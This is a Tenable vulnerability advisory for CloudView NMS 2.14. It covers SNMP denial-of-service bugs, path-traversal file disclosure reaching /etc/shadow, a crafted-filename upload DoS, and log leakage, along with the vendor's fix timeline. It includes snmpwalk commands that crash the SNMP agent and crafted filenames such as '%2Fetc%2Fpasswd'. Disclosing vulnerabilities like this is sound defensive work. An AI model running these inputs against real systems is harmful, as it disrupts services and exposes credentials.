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[R2] CloudView NMS Multiple Remote Vulnerabilities

High

Synopsis

Recently, Rapid7 disclosed vulnerabilities in several network management systems including version 2.09 of CloudView NMS, as a follow-up to a disclosure late last year. CloudView NMS is a network management and monitoring solution that comes in two variants: a Windows version (written in C) and a Linux version written in Java (called CloudViewJ).

#1 CloudViewJ SNMP system.sysDescr get-next-request Handling Remote DoS

An unauthenticated attacker can send an SNMP “get-next-request” for system.sysDescr (1.3.6.1.2.1.1.1) which results in an ArrayIndexOutOfBounds exception. The stack trace looks likes this (yes, that's obfuscated their Java):


Exception in thread "AWT-EventQueue-0" java.lang.ArrayIndexOutOfBoundsException
	at java.lang.System.arraycopy(Native Method)
	at dp.a(Unknown Source)
	at m.a(Unknown Source)
	at m.a(Unknown Source)
	at h1.a(Unknown Source)
	at m5.a(Unknown Source)
	at hl.a(Unknown Source)
	at eq.run(Unknown Source)
	at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:311)
	at java.awt.EventQueue.dispatchEventImpl(EventQueue.java:756)
	at java.awt.EventQueue.access$500(EventQueue.java:97)
	at java.awt.EventQueue$3.run(EventQueue.java:709)
	at java.awt.EventQueue$3.run(EventQueue.java:703)
	at java.security.AccessController.doPrivileged(Native Method)
	at java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:76)
	at java.awt.EventQueue.dispatchEvent(EventQueue.java:726)
	at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:201)
	at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:116)
	at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:105)
	at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:101)
	at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:93)
	at java.awt.EventDispatchThread.run(EventDispatchThread.java:82)

This exception causes CloudViewJ to never respond to SNMP requests again. This is easily reproducible using the “snmpwalk” utility:


lobster:~ albino$ snmpwalk -c public -v 1 192.168.1.208 1.3.6.1.2.1.1.1
SNMPv2-MIB::sysDescr.0 = STRING: CloudViewNMSJ SNMP Agent 2.14b Sep 05, 2016
Timeout: No Response from 192.168.1.208
lobster:~ albino$

Note that the Windows version has a similar response to “snmpwalk” but it doesn’t result in a DoS. Instead, the Windows version adds this to the log file:


Tue Sep 13 11:10:47:         Not Apply:            Server: WARNING:SNMPAgent:snmp_build (EncodeMsg) error!                                                                                                                               
identity=107 

Note, that this will also break logging in the web server.

#2 CloudViewJ enterprises.5000.300.4.2 get-next-request Handling Remote DoS

An unauthenticated attacker can send an SNMP “get-next-request” for enterprises.5000.300.4.2 (1.3.6.1.4.1.5000.300.4.2) which results in a ClassCastException in CloudViewJ (Windows variant is not affected):


Exception in thread "AWT-EventQueue-0" java.lang.ClassCastException: gu cannot be cast to w
	at dp.if(Unknown Source)
	at m.a(Unknown Source)
	at h1.a(Unknown Source)
	at m5.a(Unknown Source)
	at hl.a(Unknown Source)
	at eq.run(Unknown Source)
	at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:311)
	at java.awt.EventQueue.dispatchEventImpl(EventQueue.java:756)
	at java.awt.EventQueue.access$500(EventQueue.java:97)
	at java.awt.EventQueue$3.run(EventQueue.java:709)
	at java.awt.EventQueue$3.run(EventQueue.java:703)
	at java.security.AccessController.doPrivileged(Native Method)
	at java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:76)
	at java.awt.EventQueue.dispatchEvent(EventQueue.java:726)
	at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:201)
	at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:116)
	at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:105)
	at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:101)
	at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:93)
	at java.awt.EventDispatchThread.run(EventDispatchThread.java:82)

Again, this exception causes CloudViewJ to never respond to SNMP requests until the software is restarted. This can be reproduced using this “snmpwalk” command:


lobster:~ albino$ snmpwalk -c public -v 1 192.168.1.208 1.3.6.1.4.1.5000.300.4.2

#3 File View Functionality MPR Resource Remote File Disclosure

CloudView NMS has an embedded web server that offers a “Files View” that even the most low privileged user can view. This is supposed to be restricted to “cloudviewj/data/” but a remote authenticated attacker can trivially access any file on the server by crafting the appropriate URL.

Because CloudViewJ runs with root privileges, an attacker can read any file including /etc/shadow.

#4 File View Functionality Malformed File Upload Remote DoS

If an authenticated user uploads a file via “File View” that uses URL encoded characters that could be interpreted as file paths, it will result in the server spiking to 100% CPU usage leading to a denial of service. For example, uploading a file named “%3A%3Awat.txt” (aka ..wat.txt) or “%2Fetc%2Fpasswd” (aka /etc/passwd) will trigger this case. Note that this DoS case will be re-triggered after the server is restarted if any user accesses the “File View” again.

#5 SNMP Service Server Log Remote Information Disclosure

An unauthenticated remote attacker can access the entire server log via the SNMP service. While this may be intended functionality, this can disclose a variety of information many administrators consider sensitive, and should require authentication. The information that can be found includes usernames (below we see the users “Admin” and “test”), running services and their ports, when users login, uptime, and more. Here is an example of retrieving the entire log file via snmpwalk:


lobster:~ albino$ snmpwalk -c public -v 1 192.168.1.208 1.3.6.1.4.1.5000.300.4.2
SNMPv2-SMI::enterprises.5000.300.4.2.0 = ""
Timeout: No Response from 192.168.1.208
TNS4353L:~ jbaines$ snmpwalk -c public -v 1 192.168.1.208 1.3.6.1.4.1.5000.300.2.1.1.2
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.1 = STRING: "Tue Sep 13 08:49:04:         Not Apply:            Server:    INFO:Traps initialized, listening on port=162 identity=122"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.2 = STRING: "Tue Sep 13 08:48:45:         Not Apply:            Server:    INFO:BSD sysLog Protocol Server started on UDP port 514 identity=121"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.3 = STRING: "Tue Sep 13 08:48:45:         Not Apply:            Server:    INFO:TL1/Telnet Server started on TCP Port 3082 identity=120"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.4 = STRING: "Tue Sep 13 08:48:45:         Not Apply:            Server:    INFO:Time Protocol /RFC 868/ server started on TCP port 37 identity=119"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.5 = STRING: "Tue Sep 13 08:48:45:         Not Apply:            Server:    INFO:SNMP agent server started on UDP port 161 identity=118"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.6 = STRING: "Tue Sep 13 08:48:45:         Not Apply:            Server:    INFO:HTTP Web Server Started on TCP port 80 identity=117"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.7 = STRING: "Tue Sep 13 08:48:45:         Not Apply:            Server:    INFO:*** CloudViewNMS started *** identity=116"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.8 = STRING: "Tue Sep 13 08:48:45:         Not Apply:            Server: WARNING:Cannot install/create Server database!!!"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.10 = STRING: "Tue Sep 13 08:37:40:         Not Apply:            Server: WARNING:Cannot connect to the Server database!!!"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.11 = STRING: "Tue Sep 13 08:31:16:         Not Apply:            Server:    INFO:*** Web Client session closed on 192.168.1.152 by test *** because of inactivity timeout identity=114"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.12 = STRING: "Tue Sep 13 08:23:27:         Not Apply:            Server:    INFO:*** Web Client session opened on 192.168.1.152 by test *** identity=113"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.13 = STRING: "Tue Sep 13 08:23:21:         Not Apply:            Server: WARNING:Bad! No websocket ctrlWin for /MPR=3562:/calldescriptor%21extparvalue%21-%21-%21@extdir%5Cdiscnew%21DLG_DISCNEW/:PRT=3563: identity=112"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.19 = STRING: "Tue Sep 13 08:22:36:         Not Apply:            Server:    INFO:Traps initialized, listening on port=162 identity=106"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.36 = STRING: "Mon Sep 12 13:04:07:              test:            Server: WARNING:Message from test:  identity=96"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.38 = STRING: "Mon Sep 12 13:03:08:         Not Apply:            Server: WARNING:Invalid Remote login: User=test from 192.168.1.152 Failed Logins=1 identity=94"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.40 = STRING: "Mon Sep 12 13:02:30:         Not Apply:            Server:    INFO:User /test/ added identity=92"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.42 = STRING: "Mon Sep 12 12:46:54:         Not Apply:            Server:    INFO:Traps initialized, listening on port=162 identity=90"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.51 = STRING: "Mon Sep 12 11:13:34:         Not Apply:            Server:    INFO:*** CloudViewNMS ends ***"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.52 = STRING: "Mon Sep 12 11:10:27:         Not Apply:            Server:    INFO:Current Alarms Log Cleared by /Admin/ identity=82"

Solution

The vendor has responded and very quickly released CloudView NMS 2.15b to address issues #1 through #4. The vendor said Issue #5 is basically a question of whether CloudView NMS SNMP agent should be enabled or disabled by default with generic "get-community" set to "public", so administrators need to evaluate if this impacts them.

Disclosure Timeline

2016-09-13 - Issues discovered
2016-09-20 - Advisory drafted
2016-09-22 - Issues reported to vendor via [email protected]
2016-09-22 - Vendor acks report, says #3 is R7-2015-11.4 fixed in 2.10a, #5 up to admin to change via config
2016-09-22 - Vendor mails again, can confirm all of our issues including #3, and says #5 is by design
2016-09-26 - Vendor releases 2.15b to address #1 - #4

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2016-28
Credit:
Jacob Baines, Tenable Network Security
CVSSv2 Base / Temporal Score:
7.8 / 6.4
CVSSv2 Vector:
(AV:N/AC:L/Au:N/C:N/I:N/A:C/E:F/RL:OF/RC:C)
Affected Products:
CloudView NMS 2.14
Risk Factor:
High

Advisory Timeline

2016-09-26 - [R1] Initial Release
2016-10-29 - [R2] Added link to CloudView NMS changelog

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